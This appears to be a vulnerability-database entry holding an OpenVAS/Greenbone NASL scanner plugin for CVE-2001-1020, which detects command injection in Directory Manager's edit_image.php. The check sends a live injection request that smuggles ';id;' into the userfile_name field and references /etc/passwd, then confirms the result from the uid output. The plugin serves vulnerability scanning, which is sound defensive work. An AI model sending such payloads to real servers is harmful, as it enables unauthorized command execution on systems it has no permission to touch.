7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
6.8 Medium
AI Score
Confidence
Low
0.025 Low
EPSS
Percentile
90.2%
Directory Manager is installed and does not properly filter user input.
# SPDX-FileCopyrightText: 2008 Renaud Deraison
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
# Ref: http://cert.uni-stuttgart.de/archive/bugtraq/2001/09/msg00052.html
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.80054");
script_version("2023-12-13T05:05:23+0000");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3288");
script_cve_id("CVE-2001-1020");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("Directory Manager's edit_image.php");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2008 Renaud Deraison");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"Directory Manager is installed and does not properly filter user input.");
script_tag(name:"impact", value:"A cracker may use this flaw to execute any command on your system.");
script_tag(name:"solution", value:"Upgrade your software or firewall your web server");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port))
exit(0);
http_check_remote_code(check_request:"/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;id;%20",
check_result:"uid=[0-9]+.*gid=[0-9]+.*",
command:"id",
port:port);